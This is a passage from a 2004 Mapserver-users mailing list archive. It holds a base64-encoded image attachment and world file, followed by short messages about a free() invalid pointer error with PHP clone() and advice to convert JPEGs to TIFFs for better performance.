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 rkJggg== ------_=_NextPart_001_01C3EB40.F989BF9E Content-Type: application/octet-stream; name="boundaries.wld" Content-Transfer-Encoding: base64 Content-Description: boundaries.wld Content-Disposition: attachment; filename="boundaries.wld" MC4wODMzMzMzCjAKMAotMC4wODMzMzMzCi05OQo0OAo= ------_=_NextPart_001_01C3EB40.F989BF9E-- From sgillies@frii.com Wed Feb 4 17:35:35 2004 From: sgillies@frii.com (Sean Gillies) Date: Wed, 4 Feb 2004 10:35:35 -0700 Subject: [Mapserver-users] php clone() doesn't cut it In-Reply-To: References: Message-ID: <8A08AA41-5738-11D8-819C-000393B98B56@frii.com> On Feb 4, 2004, at 10:04 AM, Charlton Purvis wrote: > Well, Sean, I'm a monkey's uncle. I created the attached example, and > it seems to work fine. Don't know what I was smoking. > > But by running it from the command line, I do get an error: > free(): invalid pointer 0x822b370! > > Maybe this was mucking up things when I ran it w/i my interface? > > Don't know. But everything is attached, if anyone is interested. > > Charlton > I've seen that free() error as well ... can you provide any other context? What was the object at 0x822b370? I'd like to get this bug fixed. Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From cpurvis@asg.sc.edu Wed Feb 4 17:40:00 2004 From: cpurvis@asg.sc.edu (Charlton Purvis) Date: Wed, 4 Feb 2004 12:40:00 -0500 Subject: [Mapserver-users] php clone() doesn't cut it Message-ID: > I've seen that free() error as well ... can you provide any other > context? What was the object at 0x822b370? I'd like to get this > bug fixed. I have zero idea how to find that out. Any suggestions? From ed@topozone.com Wed Feb 4 17:49:32 2004 From: ed@topozone.com (Ed McNierney) Date: Wed, 4 Feb 2004 12:49:32 -0500 Subject: [Mapserver-users] Mapserver hardware recomendations. Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3B60@mercator.topozone.com> Jason - If you're concerned about performance, the first thing I'd do is lose the JPEGs, and convert them all to TIFF images. Otherwise the rest of the things you've identified for managing your data are good ideas